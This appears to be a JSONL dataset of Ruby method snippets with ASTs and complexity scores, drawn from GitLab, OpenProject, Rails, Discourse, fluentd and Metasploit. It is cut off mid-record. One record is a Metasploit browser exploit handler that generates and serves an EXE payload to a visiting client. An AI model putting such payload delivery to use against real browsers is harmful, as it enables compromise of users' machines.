+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/organizations/projects_resolver.rb","start_line":16,"raw_source":"def finder_params(args)\n super.merge(organization: organization)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}]}]}","id":"07c40b14-8e89-4571-bdaa-245c8b0c48a8"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/activities/work_package/activity_tab_comment_editor_spec.rb","start_line":64,"raw_source":"def expect_editor_to_be_dismissed\n activity_tab.add_comment(text: \"Sample text\", save: false)\n activity_tab.clear_comment\n\n activity_tab.expect_focus_on_editor\n yield\n\n expect(page).not_to have_test_selector(\"op-work-package-journal-form-element\")\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_editor_to_be_dismissed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"add_comment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Sample text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"clear_comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"expect_focus_on_editor\"]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-work-package-journal-form-element\"]}]}]}]}]}","id":"9205cce2-650f-441b-8981-c15422353357"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/record_identifier_test.rb","start_line":20,"raw_source":"def test_dom_id_with_new_record\n assert_equal \"new_#{@singular}\", dom_id(@record)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dom_id_with_new_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"new_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@singular\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dom_id\",{\"type\":\"ivar\",\"children\":[\"@record\"]}]}]}]}","id":"0cc22d89-a1ef-42e1-ab55-701eeb8751c4"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/lazy_page_component.rb","start_line":57,"raw_source":"def wrapper_data_attributes\n {\n controller: lazy_page_stimulus_controller,\n lazy_page_stimulus_controller(\"-page-value\") => page,\n lazy_page_stimulus_controller(\"-url-value\") => page_streams_url,\n lazy_page_stimulus_controller(\"-is-loaded-value\") => false\n }\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_data_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-page-value\"]}]},{\"type\":\"send\",\"children\":[null,\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-url-value\"]}]},{\"type\":\"send\",\"children\":[null,\"page_streams_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-is-loaded-value\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"4b25cf28-bfdb-4b9b-9322-7f22d8ff9aab"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":407,"raw_source":"def detach_process(&block)\n log.warn \"detach_process is not supported in this version. ignored.\"\n block.call\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"detach_process\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"detach_process is not supported in this version. ignored.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]}]}","id":"160533d2-79ef-429b-a125-e04bd7993409"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":795,"raw_source":"def notify_non_pm_users(users, type, post, opts = {})\n return [] if post.topic&.private_message?\n\n notify_users(users, type, post, opts)\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_non_pm_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"private_message?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"notify_users\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"a21f708b-d559-4b61-9810-db31e5ad29c6"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/aol_icq_downloadagent.rb","start_line":62,"raw_source":"def on_request_uri(cli, request)\n payload_url = \"http://\"\n payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n payload_url += \":\" + datastore['SRVPORT'].to_s + get_resource() + \"/PAYLOAD\"\n\n if (request.uri.match(/PAYLOAD/))\n return if ((p = regenerate_payload(cli)) == nil)\n\n data = generate_payload_exe({ :code => p.encoded })\n print_status(\"Sending EXE payload\")\n send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n return\n end\n\n vname = rand_text_alpha(rand(100) + 1)\n exe = rand_text_alpha_upper(rand(5) + 1)\n\n content = %Q|\n \n \n \n \n \n |\n\n print_status(\"Sending exploit...\")\n\n send_response_html(cli, content)\n\n handler(cli)\n end","complexity_score":57.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/PAYLOAD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending EXE payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending exploit...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"d4d54909-9514-4389-b2f3-c5eb2d2ff281"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/components/ldap_auth_sources/row_component.rb","start_line":56,"raw_source":"def test_link\n link_to t(:button_test), { controller: \"ldap_auth_sources\", action: \"test_connection\", id: model }\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"button_test\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"ldap_auth_sources\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"test_connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]}]}]}","id":"8179905b-984a-43fe-80e8-2a4a1c4a735c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":126,"raw_source":"def update_metadata\n log \"Updating metadata...\"\n BackupMetadata.delete_all\n BackupMetadata.create!(name: \"base_url\", value: Discourse.base_url)\n BackupMetadata.create!(name: \"cdn_url\", value: Discourse.asset_host)\n BackupMetadata.create!(\n name: \"s3_base_url\",\n value: SiteSetting.Upload.enable_s3_uploads ? SiteSetting.Upload.s3_base_url : nil,\n )\n BackupMetadata.create!(\n name: \"s3_cdn_url\",\n value: SiteSetting.Upload.enable_s3_uploads ? SiteSetting.Upload.s3_cdn_url : nil,\n )\n BackupMetadata.create!(\n name: \"db_name\",\n value: RailsMultisite::ConnectionManagement.current_db,\n )\n BackupMetadata.create!(name: \"multisite\", value: Rails.configuration.multisite)\n end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Updating metadata...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"cdn_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"asset_host\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"s3_base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"enable_s3_uploads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"s3_base_url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"s3_cdn_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"enable_s3_uploads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"s3_cdn_url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"db_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"multisite\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"multisite\"]}]}]}]}]}]}","id":"583784d3-e6d1-4807-98b1-be6d119aaeeb"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb","start_line":12,"raw_source":"def self.create_library(constant_manager, library_path = 'iphlpapi')\n dll = Library.new(library_path, constant_manager)\n\n dll.add_function('CancelIPChangeNotify', 'BOOL',[\n [\"PBLOB\",\"notifyOverlapped\",\"in\"],\n ])\n\n dll.add_function('CreateProxyArpEntry', 'DWORD',[\n [\"DWORD\",\"dwAddress\",\"in\"],\n [\"DWORD\",\"dwMask\",\"in\"],\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('DeleteIPAddress', 'DWORD',[\n [\"DWORD\",\"NTEContext\",\"in\"],\n ])\n\n dll.add_function('DeleteProxyArpEntry', 'DWORD',[\n [\"DWORD\",\"dwAddress\",\"in\"],\n [\"DWORD\",\"dwMask\",\"in\"],\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('FlushIpNetTable', 'DWORD',[\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('GetAdapterIndex', 'DWORD',[\n [\"PWCHAR\",\"AdapterName\",\"in\"],\n [\"PDWORD\",\"IfIndex\",\"inout\"],\n ])\n\n dll.add_function('GetBestInterface', 'DWORD',[\n [\"DWORD\",\"dwDestAddr\",\"in\"],\n [\"PDWORD\",\"pdwBestIfIndex\",\"out\"],\n ])\n\n dll.add_function('GetBestInterfaceEx', 'DWORD',[\n [\"PBLOB\",\"pDestAddr\",\"in\"],\n [\"PDWORD\",\"pdwBestIfIndex\",\"out\"],\n ])\n\n dll.add_function('GetFriendlyIfIndex', 'DWORD',[\n [\"DWORD\",\"IfIndex\",\"in\"],\n ])\n\n dll.add_function('GetNumberOfInterfaces', 'DWORD',[\n [\"PDWORD\",\"pdwNumIf\",\"out\"],\n ])\n\n dll.add_function('GetRTTAndHopCount', 'BOOL',[\n [\"DWORD\",\"DestIpAddress\",\"in\"],\n [\"PULONG\",\"HopCount\",\"out\"],\n [\"DWORD\",\"MaxHops\",\"in\"],\n [\"PULONG\",\"RTT\",\"out\"],\n ])\n\n dll.add_function('NotifyAddrChange', 'DWORD',[\n [\"PHANDLE\",\"Handle\",\"inout\"],\n [\"PBLOB\",\"overlapped\",\"in\"],\n ])\n\n dll.add_function('NotifyRouteChange', 'DWORD',[\n [\"PHANDLE\",\"Handle\",\"inout\"],\n [\"PBLOB\",\"overlapped\",\"in\"],\n ])\n\n dll.add_function('SendARP', 'DWORD',[\n [\"DWORD\",\"DestIP\",\"in\"],\n [\"DWORD\",\"SrcIP\",\"in\"],\n [\"PBLOB\",\"pMacAddr\",\"out\"],\n [\"PDWORD\",\"PhyAddrLen\",\"inout\"],\n ])\n\n dll.add_function('SetIpTTL', 'DWORD',[\n [\"DWORD\",\"nTTL\",\"in\"],\n ])\n\n return dll\n end","complexity_score":18.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_library\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant_manager\"]},{\"type\":\"optarg\",\"children\":[\"library_path\",{\"type\":\"str\",\"children\":[\"iphlpapi\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Library\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"library_path\"]},{\"type\":\"lvar\",\"children\":[\"constant_manager\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"CancelIPChangeNotify\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"notifyOverlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"CreateProxyArpEntry\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwMask\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"DeleteIPAddress\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"NTEContext\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"DeleteProxyArpEntry\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwMask\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"FlushIpNetTable\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetAdapterIndex\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"AdapterName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"IfIndex\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetBestInterface\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwDestAddr\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwBestIfIndex\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetBestInterfaceEx\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDestAddr\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwBestIfIndex\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetFriendlyIfIndex\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"IfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetNumberOfInterfaces\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwNumIf\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetRTTAndHopCount\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"DestIpAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PULONG\"]},{\"type\":\"str\",\"children\":[\"HopCount\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"MaxHops\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PULONG\"]},{\"type\":\"str\",\"children\":[\"RTT\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"NotifyAddrChange\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHANDLE\"]},{\"type\":\"str\",\"children\":[\"Handle\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\"